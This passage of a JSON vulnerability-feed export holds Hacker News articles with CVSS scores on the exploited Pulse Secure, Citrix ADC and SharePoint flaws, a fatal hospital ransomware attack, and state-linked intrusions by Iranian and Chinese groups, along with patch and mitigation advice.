unpatched](<https://badpackets.net/over-14500-pulse-secure-vpn-endpoints-vulnerable-to-cve-2019-11510/>) Pulse Secure servers, a subsequent scan as of last month yielded [2,099 vulnerable endpoints](<https://twitter.com/bad_packets/status/1242289478334427139>), indicating that a vast majority of organizations have patched their VPN gateways. \n \n\n\n## Unpatched VPN Servers Become Lucrative Target\n\n \nThe fact that there are still over thousands of unpatched Pulse Secure VPN servers has made them a lucrative target for bad actors to distribute malware. \n \nA report from ClearSky found Iranian state-sponsored [hackers using CVE-2019-11510](<https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html>), among others, to penetrate and steal information from target IT and telecommunication companies across the world. \n \nAccording to an [NSA advisory](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>) from October 2019, the \"exploit code is freely available online via the Metasploit framework, as well as GitHub. Malicious cyber actors are actively using this exploit code.\" \n \nIn a similar alert issued last year, the UK's National Cyber Security Centre ([NCSC](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)) warned that advanced threat groups are exploiting the vulnerability to target government, military, academic, business, and healthcare organizations. \n \nMore recently, [Travelex](<https://www.bbc.com/news/business-51017852>), the foreign currency exchange and travel insurance firm, became a victim after cybercriminals planted Sodinokibi (REvil) [ransomware](<https://doublepulsar.com/big-game-ransomware-being-delivered-to-organisations-via-pulse-secure-vpn-bd01b791aad9>) on the company's networks via the Pulse Secure vulnerability. Although the ransomware operators demanded a ransom of $6 million (\u00a34.6 million), a [Wall Street Journal](<https://www.wsj.com/articles/travelex-paid-hackers-multimillion-dollar-ransom-before-hitting-new-obstacles-11586440800>) report last week said it paid $2.3 million in the form of 285 Bitcoin to resolve its problem. \n \nIn the face of ongoing attacks, it's recommended that organizations upgrade their Pulse Secure VPN, reset their credentials, and scan for unauthenticated log requests and exploit attempts. \n \nCISA has also suggested removing any unapproved remote access programs and inspecting scheduled tasks for scripts or executables that may allow an attacker to connect to an environment. \n \nFor more steps to mitigate the flaw, head to [NSA's advisory here](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-04-17T11:20:00", "type": "thn", "title": "CISA Warns Patched Pulse Secure VPNs Could Still Expose Organizations to Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2020-04-17T11:20:03", "id": "THN:46994B7A671ED65AD9975F25F514C6E3", "href": "https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:53", "description": "[](<https://thehackernews.com/images/-_9-nocA92TI/XhmeU1ZwSqI/AAAAAAAA2KQ/m0YexAlFrVQzvw1H2fYT8uoiFY33g82DQCLcBGAsYHQ/s728-e100/citrix-adc-gateway-vulnerability.jpg>)\n\nIt's now or never to prevent your enterprise servers running vulnerable versions of Citrix application delivery, load balancing, and Gateway solutions from getting hacked by remote attackers. \n \nWhy the urgency? Earlier today, multiple groups publicly released weaponized proof-of-concept exploit code [[1](<https://github.com/trustedsec/cve-2019-19781>), [2](<https://github.com/projectzeroindia/CVE-2019-19781>)] for a recently disclosed remote code execution vulnerability in Citrix's NetScaler ADC and Gateway products that could allow anyone to leverage them to take full control over potential enterprise targets. \n \nJust before the last Christmas and year-end holidays, Citrix [announced](<https://support.citrix.com/article/CTX267027>) that its Citrix Application Delivery Controller (ADC) and Citrix Gateway are vulnerable to a critical path traversal flaw (CVE-2019-19781) that could allow an unauthenticated attacker to perform arbitrary code execution on vulnerable servers. \n \nCitrix confirmed that the flaw affects all supported version of the software, including: \n \n\n\n * Citrix ADC and Citrix Gateway version 13.0 all supported builds\n * Citrix ADC and NetScaler Gateway version 12.1 all supported builds\n * Citrix ADC and NetScaler Gateway version 12.0 all supported builds\n * Citrix ADC and NetScaler Gateway version 11.1 all supported builds\n * Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds\n \nThe company made the disclose without releasing any security patches for vulnerable software; instead, [Citrix offered mitigation](<https://support.citrix.com/article/CTX267679>) to help administrators guard their servers against potential remote attacks\u2060\u2014and even at the time of writing, there's no patch available almost 23 days after disclosure. \n \n\n\n \nThrough the cyberattacks against vulnerable servers were [first seen in the wild](<https://twitter.com/sans_isc/status/1213228049011007489>) last week when hackers developed private exploit after reverse engineering mitigation information, the public release of weaponized PoC would now make it easier for low-skilled script kiddies to launch cyberattacks against vulnerable organizations. \n \nAccording to [Shodan](<https://beta.shodan.io/search/facet?query=http.waf%3A%22Citrix+NetScaler%22&facet=org>), at the time of writing, there are over 125,400 Citrix ADC or Gateway servers publicly accessible and can be exploited overnight if not taken offline or protected using available mitigation. \n \nWhile discussing [technical details](<https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/>) of the flaw in a blog post published yesterday, MDSsec also released a video demonstration of the exploit they developed but chose not to release it at this moment. \n \nBesides applying the recommended mitigation, Citrix ADC administrators are also advised to monitor their device logs for attacks.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-11T10:21:00", "type": "thn", "title": "PoC Exploits Released for Citrix ADC and Gateway RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-11T10:22:37", "id": "THN:6ED39786EE29904C7E93F7A0E35A39CB", "href": "https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:40:08", "description": "[](<https://thehackernews.com/images/-YFnAQDBLWlw/X2h9bFB25hI/AAAAAAAAAyE/jMecIXHH_sMcXYoQN-b9qTiy868SAREGgCLcBGAsYHQ/s728/ransomware-attack-on-hospital.jpg>)\n\n \nGerman authorities last week [disclosed](<https://apnews.com/cf8f8eee1adcec69bcc864f2c4308c94>) that a ransomware attack on the University Hospital of D\u00fcsseldorf (UKD) caused a failure of IT systems, resulting in the death of a woman who had to be sent to another hospital that was 20 miles away.\n\nThe incident marks the first recorded casualty as a consequence of cyberattacks on critical healthcare facilities, which has ramped up in recent months.\n\nThe attack, which exploited a Citrix ADC [CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) vulnerability to cripple the hospital systems on September 10, is said to have been \"misdirected\" in that it was originally intended for Heinrich Heine University, according to an extortion note left by the perpetrators.\n\nAfter law enforcement contacted the threat actors and informed them that they had encrypted a hospital, the operators behind the attack withdrew the ransom demand and provided the decryption key.\n\nThe case is currently being treated as a homicide, BBC News [reported](<https://www.bbc.com/news/technology-54204356>) over the weekend.\n\n### Unpatched Vulnerabilities Become Gateway to Ransomware Attacks\n\nAlthough several ransomware gangs said early on in the pandemic that they would not deliberately [target hospitals or medical facilities](<https://thehackernews.com/2016/11/hospital-cyber-attack-virus.html>), the recurring attacks [prompted the Interpol](<https://thehackernews.com/2020/04/cronavirus-hackers.html>) to issue a warning cautioning hospitals against ransomware attacks designed to lock them out of their critical systems in an attempt to extort payments.\n\nWeak credentials and VPN vulnerabilities have proven to be a blessing in disguise for threat actors to break into the internal networks of businesses and organizations, leading cybersecurity agencies in the U.S. and U.K. to publish [multiple](<https://thehackernews.com/2020/09/iranian-hackers-sanctioned.html>) [advisories](<https://www.ncsc.gov.uk/news/citrix-alert>) about active exploitation of the flaws.\n\n\"The [Federal Office for Information Security] is becoming increasingly aware of incidents in which Citrix systems were compromised before the security updates that were made available in January 2020 were installed,\" the German cybersecurity agency [said](<https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2020/UKDuesseldorf_170920.html>) in an alert last week.\n\n\"This means that attackers still have access to the system and the networks behind it even after the security gap has been closed. This possibility is currently increasingly being used to carry out attacks on affected organizations.\"\n\nThe development also coincides with a fresh [advisory](<https://www.ncsc.gov.uk/news/alert-targeted-ransomware-attacks-on-uk-education-sector>) from the U.K. National Cyber Security Centre (NCSC), which said it's observed an uptick in ransomware incidents targeting educational institutions at least since August 2020, while urging schools and universities to implement a \"defence in depth\" strategy to defend against such malware attacks.\n\nSome of the affected institutions included [Newcastle](<https://www.ncl.ac.uk/itservice/latest-news/>) and [Northumbria](<https://www.bbc.com/news/uk-england-tyne-53989404>) Universities, among others.\n\nCiting Remote Desktop Protocol (RDP), vulnerable software or hardware, and email phishing as the three most common infection vectors, the agency [recommended](<https://blog.emsisoft.com/en/36921/8-critical-steps-to-take-after-a-ransomware-attack-ransomware-response-guide-for-businesses/>) organizations to maintain up-to-date offline backups, adopt endpoint malware protection, secure RDP services using multi-factor authentication, and have an effective patch management strategy in place.\n\n### A Spike in Ransomware Infections\n\nIf anything, the ransomware crisis seems to be only getting worse. [Historical data](<https://sites.temple.edu/care/ci-rw-attacks/>) gathered by Temple University's CARE cybersecurity lab has shown that there have been a total of 687 publicly disclosed cases in the U.S. since 2013, with 2019 and 2020 alone accounting for more than half of all reported incidents (440).\n\nGovernment facilities, educational institutions, and healthcare organizations are the most frequently hit sectors, as per the analysis.\n\nAnd if 2020 is any indication, attacks against colleges and universities are showing no signs of slowing down.\n\n[](<https://thehackernews.com/images/-w1AP-pVwnR0/X2h7szFvYJI/AAAAAAAAAx4/R2M_VI5F2gUCV9Dq0WYitww8OQ_Uz2P1gCLcBGAsYHQ/s0/ransomware-malware-attack-on-universities.jpg>)\n\nAllan Liska, a threat intelligence analyst at Recorded Future, revealed there had been at least 80 publicly reported ransomware infections targeting the education sector to date this year, a massive jump from 43 ransomware attacks for the whole of 2019.\n\n\"Part of this change can be attributed to extortion sites, which force more victims to announce attacks,\" Liska said in a [tweet](<https://twitter.com/uuallan/status/1307684719593746432>). \"But, in general, ransomware actors have more interest in going after colleges and universities, and they are often easy targets.\"\n\nYou can read more about NCSC's mitigation measures [here](<https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks>). For more guidance on proofing businesses against ransomware attacks, head to US Cybersecurity Security and Infrastructure Security Agency's response guide [here](<https://us-cert.cisa.gov/security-publications/Ransomware>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-09-21T10:20:00", "type": "thn", "title": "A Patient Dies After Ransomware Attack Paralyzes German Hospital Systems", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-09-21T10:34:14", "id": "THN:EB3F9784BB2A52721953F128D1B3EAEC", "href": "https://thehackernews.com/2020/09/a-patient-dies-after-ransomware-attack.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:52", "description": "[](<https://thehackernews.com/images/-C3dSDFvJiqA/XiW3-49gerI/AAAAAAAABUA/ZZoejAM3OJUPzdMEoE_ef-Wyi7-BtaokACLcBGAsYHQ/s728-e100/Citrix-ADC-Gateway-hacking.jpg>)\n\nCitrix has finally started rolling out security patches for a critical [vulnerability in ADC and Gateway](<https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html>) software that attackers started exploiting in the wild earlier this month after the company announced the existence of the issue without releasing any permanent fix. \n \nI wish I could say, \"better late than never,\" but since hackers don't waste time or miss any opportunity to exploit vulnerable systems, even a short window of time resulted in the compromise of hundreds of Internet exposed Citrix ADC and Gateway systems. \n \nAs explained earlier on The Hacker News, the vulnerability, tracked as **CVE-2019-19781**, is a path traversal issue that could allow unauthenticated remote attackers to execute arbitrary code on several versions of Citrix ADC and Gateway products, as well as on the two older versions of Citrix SD-WAN WANOP. \n \nRated critical with CVSS v3.1 base score 9.8, the issue was discovered by Mikhail Klyuchnikov, a security researcher at Positive Technologies, who responsibly reported it to Citrix in early December. \n \nThe vulnerability is actively being exploited in the wild since last week by dozens of hacking groups and individual attackers\u2014thanks to the public release of multiple [proofs-of-concept exploit code](<https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html>). \n \nAccording to cyber security [experts](<https://twitter.com/0xDUDE/status/1218988914272362496?s=08>), as of today, there are over 15,000 publicly accessible vulnerable Citrix ADC and Gateway servers that attackers can exploit overnight to target potential enterprise networks. \n \nFireEye experts found an attack campaign where someone was compromising vulnerable Citrix ADCs to install a previously-unseen payload, dubbed \"[NotRobin](<https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html>),\" that scans systems for cryptominers and malware deployed by other potential attackers and removes them to maintain exclusive backdoor access. \n \n\n\n> [#Citrix](<https://twitter.com/hashtag/Citrix?src=hash&ref_src=twsrc%5Etfw>) released a free tool that analyzes available log sources and system forensic artifacts to identify whether an ADC appliance has potentially been compromised using CVE-2019-19781 security flaw. \n \nYou can find the tool and instructions here: <https://t.co/eewijzI2l9>[#infosec](<https://twitter.com/hashtag/infosec?src=hash&ref_src=twsrc%5Etfw>) <https://t.co/YKMwgPzmYE>\n> \n> \u2014 The Hacker News (@TheHackersNews) [January 22, 2020](<https://twitter.com/TheHackersNews/status/1219994163581554689?ref_src=twsrc%5Etfw>)\n\n \n \n\"This actor exploits NetScaler devices using CVE-2019-19781 to execute shell commands on the compromised device,\" FireEye said. \n \n\"FireEye believes that the actor behind NOTROBIN has been opportunistically compromising NetScaler devices, possibly to prepare for an upcoming campaign. They remove other known malware, potentially to avoid detection by administrators.\" \n \n\n\n## Citrix Patch Timeline: Stay Tuned for More Software Updates!\n\n \nLast week Citrix [announced a timeline](<https://twitter.com/TheHackersNews/status/1216239812249702401>), promising to release patched firmware updates for all supported versions of ADC and Gateway software before the end of January 2020, as shown in the chart. \n\n\n[](<https://thehackernews.com/images/-GFKY1pukwgU/XiWsvTjWRzI/AAAAAAAABT0/6B9St94Mff0LZyZw6yzG2oMefLn6gMgGACLcBGAsYHQ/s728-e100/Citrix-ADC-Gateway.jpg>)\n\nAs part of its [first batch of updates](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>), Citrix today released permanent patches for ADC versions 11.1 and 12.0 that also apply to \"ADC and Gateway VPX hosted on ESX, Hyper-V, KVM, XenServer, Azure, AWS, GCP or on a Citrix ADC Service Delivery Appliance (SDX).\" \n \n\"It is necessary to upgrade all Citrix ADC and Citrix Gateway 11.1 instances (MPX or VPX) to build 11.1.63.15 to install the security vulnerability fixes. It is necessary to upgrade all Citrix ADC and Citrix Gateway 12.0 instances (MPX or VPX) to build 12.0.63.13 to install the security vulnerability fixes,\" Citrix said in its advisory. \n \n\"We urge customers to install these fixes immediately,\" the company said. \"If you have not already done so, you need to apply the previously supplied mitigation to ADC versions 12.1, 13, 10.5, and SD-WAN WANOP versions 10.2.6 and 11.0.3 until the fixes for those versions are available.\" \n \nThe company also warned that customers with multiple ADC versions in production must apply the correct version of patch to each system separately. \n \nBesides installing available patches for supported versions and applying the recommended mitigation for unpatched systems, Citrix ADC administrators are also advised to monitor their device logs for attacks. \n \n**UPDATE \u2014 **Citrix on Thursday also released [second batch of permanent security patches](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>) for critical RCE vulnerability affecting ADC and Gateway versions 12.1 and 13.0.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-20T14:24:00", "type": "thn", "title": "Citrix Releases Patches for Critical ADC Vulnerability Under Active Attack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-24T07:05:37", "id": "THN:166AAAF7F04EF01C9E049500387BD1FD", "href": "https://thehackernews.com/2020/01/citrix-adc-patch-update.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-09-11T06:03:31", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiMp9i3Lj5A4Y_ae1brdtJ3Z_sNXlIs5YtbE10FkxMHpBYh1dM2pWGYtXkuhrCbigM3Xf7SjurwOpFR4NcA6fh63zqGDTxzanmzzesGP3Qj7hdlhJoOUm8f7XQsLOH6-ySM9JztJz0C_2DIj0ixAjL_vUCq21yT-ALhXCkyU0Zf7kX1_IYgqc_ZGPu0/s728-e100/iran.jpg>)\n\nThe U.S. Treasury Department on Friday announced sanctions against Iran's Ministry of Intelligence and Security (MOIS) and its Minister of Intelligence, Esmaeil Khatib, for engaging in cyber-enabled activities against the nation and its allies.\n\n\"Since at least 2007, the MOIS and its cyber actor proxies have conducted malicious cyber operations targeting a range of government and private-sector organizations around the world and across various critical infrastructure sectors,\" the Treasury [said](<https://home.treasury.gov/news/press-releases/jy0941>).\n\nThe agency also accused Iranian state-sponsored actors of [staging disruptive attacks](<https://www.kryeministria.al/en/newsroom/sherbimet-publike-online-rikthehen-ne-normalitet-te-plote-ne-e-albania/>) aimed at Albanian government computer systems in mid-July 2022, an incident that forced the latter to temporarily suspend its online services.\n\nThe development comes months nearly nine months after the U.S. Cyber Command characterized the advanced persistent threat (APT) known as MuddyWater as a [subordinate element](<https://thehackernews.com/2022/01/us-cyber-command-links-muddywater.html>) within MOIS. It also comes almost two years following the Treasury's sanctions against another Iranian APT group dubbed [APT39](<https://thehackernews.com/2020/09/iranian-hackers-sanctioned.html>) (aka Chafer or Radio Serpens).\n\nFriday's sanctions effectively prohibit U.S. businesses and citizens from engaging in transactions with MOIS and Khatib, and non-U.S. citizens that engage in transactions with the designated entities may themselves be exposed to sanctions.\n\nCoinciding with the economic blockade, the Albanian government [said](<https://www.kryeministria.al/en/newsroom/videomesazh-i-kryeministrit-edi-rama/>) the cyberattack on the digital infrastructure was \"orchestrated and sponsored by the Islamic Republic of Iran through the engagement of four groups that enacted the aggression.\"\n\nMicrosoft, which investigated the attacks, said the adversaries worked in tandem to carry out distinct phases of the attacks, with each cluster responsible for a different aspect of the operation -\n\n * DEV-0842 deployed the ransomware and wiper malware\n * DEV-0861 gained initial access and exfiltrated data\n * DEV-0166 (aka [IntrudingDivisor](<https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/>)) exfiltrated data, and\n * DEV-0133 (aka [Lyceum](<https://thehackernews.com/2022/02/iranian-hackers-using-new-marlin.html>) or Siamese Kitten) probed victim infrastructure\n\nThe tech giant's threat intelligence teams also attributed the groups involved in gaining initial access and exfiltrating data to the Iranian MOIS-linked hacking collective codenamed [Europium](<https://thehackernews.com/2022/05/new-saitama-backdoor-targeted-official.html>), which is also known as APT34, Cobalt Gypsy, Helix Kitten, or OilRig.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEg20UvRqzGlPFqU2WdwE5HNZ23BBjNkCHWXzWYNzkJD1FazC8EJtGI3IHc3O_dj0GZIQTLee4Q_mr8PgetfJHfLzabYz503QcC1HYHm_fI-9xYdBN1Mm5GJL-WefN5MdT2oS7GKbk4XOavKiraRQ67u8Sfab5YhNf3uxhIJm1ao9asl29hwgiUREV4W/s728-e100/cyber.jpg>)\n\n\"The attackers responsible for the intrusion and exfiltration of data used tools previously used by other known Iranian attackers,\" it [said](<https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/>) in a technical deepdive. \"The attackers responsible for the intrusion and exfiltration of data targeted other sectors and countries that are consistent with Iranian interests.\"\n\n\"The Iranian sponsored attempt at destruction had less than a 10% total impact on the customer environment,\" the company noted, adding the post-exploitation actions involved the use of web shells for persistence, unknown executables for reconnaissance, credential harvesting techniques, and defense evasion methods to turn off security products.\n\nMicrosoft's findings dovetail with [previous analysis](<https://thehackernews.com/2022/08/iranian-hackers-likely-behind.html>) from Google's Mandiant, which called the politically motivated activity a \"geographic expansion of Iranian disruptive cyber operations.\"\n\nInitial access to the network of an Albanian government victim is said to have occurred as early as May 2021 via successful exploitation of a SharePoint remote code execution flaw ([CVE-2019-0604](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0604>)), followed by exfiltration of email from the compromised network between October 2021 and January 2022.\n\nA second, parallel wave of email harvesting was observed between November 2021 and May 2022, likely through a tool called [Jason](<https://marcoramilli.com/2019/06/06/apt34-jason-project/>). On top of that, the intrusions entailed the deployment of a ransomware strain called ROADSWEEP and the distribution of a wiper malware referred to as ZeroCleare.\n\nMicrosoft characterized the destructive campaign as a \"form of direct and proportional retaliation\" for a string of cyberattacks on Iran, including one [staged by an Iranian hacktivist group](<https://www.iranintl.com/en/202207032504>) that's affiliated to Mujahedin-e-Khalq ([MEK](<https://en.wikipedia.org/wiki/People%27s_Mojahedin_Organization_of_Iran>)) in the first week of July 2022.\n\nThe MEK, also known as the People's Mujahedin Organization of Iran (PMOI), is an Iranian dissident group largely based in Albania that seeks to overthrow the government of the Islamic Republic of Iran and install its own government.\n\n\"Some of the Albanian organizations targeted in the destructive attack were the equivalent organizations and government agencies in Iran that experienced prior cyberattacks with MEK-related messaging,\" the Windows maker said.\n\nIran's Foreign Ministry, however, has [rejected accusations](<https://irangov.ir/detail/395679>) that the country was behind the digital offensive on Albania, calling them \"baseless\" and that it's \"part of responsible international efforts to deal with the threat of cyberattacks.\"\n\nIt further [condemned the sanctions](<https://irangov.ir/detail/395759>) and called the act based on \"false and unproven\" accusations, stating it \"will use all its capabilities within the framework of international law to uphold the Iranians' rights and defend itself against these sinister conspiracies.\" The Ministry also accused the U.S. of \"giving full support to a terrorist sect\", referring to MEK.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-10T09:43:00", "type": "thn", "title": "U.S. Imposes New Sanctions on Iran Over Cyberattack on Albania", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0604"], "modified": "2022-09-11T04:05:39", "id": "THN:F6379983339D06A5EA6BE2B059C2955B", "href": "https://thehackernews.com/2022/09/us-imposes-new-sanctions-on-iran-over.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:15", "description": "[](<https://thehackernews.com/images/-Ujmh7zpFsSc/YRJ8YyAcN0I/AAAAAAAADfY/aKSnG-kAxuYi5IsRUzUwJJe27j89JRSTQCLcBGAsYHQ/s0/china.jpg>)\n\nA Chinese cyber espionage group has been linked to a string of intrusion activities targeting Israeli government institutions, IT providers, and telecommunications companies at least since 2019, with the hackers masquerading themselves as Iranian actors to mislead forensic analysis.\n\nFireEye's Mandiant threat intelligence arm attributed the campaign to an operator it tracks as \"UNC215\", a Chinese espionage operation that's believed to have singled out organizations around the world dating back as far as 2014, linking the group with \"low confidence\" to an advanced persistent threat (APT) widely known as [APT27](<https://malpedia.caad.fkie.fraunhofer.de/actor/emissary_panda>), Emissary Panda, or Iron Tiger.\n\n\"UNC215 has compromised organizations in the government, technology, telecommunications, defense, finance, entertainment, and health care sectors,\" FireEye's Israel and U.S. threat intel teams [said](<https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html>) in a report published today.\n\n\"The group targets data and organizations which are of great interest to Beijing's financial, diplomatic, and strategic objectives,\" the findings reflecting a relentless appetite for defense-related secrets among hacking groups.\n\n[](<https://thehackernews.com/images/-2c1Jz5J65vI/YRJ7A9dngII/AAAAAAAADfQ/KZ0_5jF33j849L6bHA21vc8l-Mq7Do0AACLcBGAsYHQ/s0/chinese-hackers.jpg>)\n\nEarly attacks perpetrated by the collective is said to have exploited a Microsoft SharePoint vulnerability (CVE-2019-0604) as a stepping stone toward infiltrating government and academic networks to deploy web shells and [FOCUSFJORD](<https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl>) payloads at targets in the Middle East and Central Asia. First [described](<https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/>) by the NCC Group in 2018, FOCUSFJORD, also called HyperSSL and Sysupdate, is a backdoor that's part of an arsenal of tools put to use by the Emissary Panda actor.\n\nUpon gaining an initial foothold, the adversary follows an established pattern of conducting credential harvesting and internal reconnaissance to identify key systems within the target network, before carrying out lateral movement activities to install a custom implant called [HyperBro](<https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/>) that comes with capabilities such as screen capture and keylogging.\n\n[](<https://thehackernews.com/images/-PRqc3a18M_Q/YRKJLbA0LHI/AAAAAAAA4VM/miSQAqPhUGM3d6CgWTeJ93xO0WgJrwCsQCLcBGAsYHQ/s0/cyberattack.jpg>)\n\nEach phase of the attack is marked by notable efforts undertaken to hinder detection by removing any traces of residual forensic artifacts from compromised machines, while simultaneously improving the FOCUSFJORD 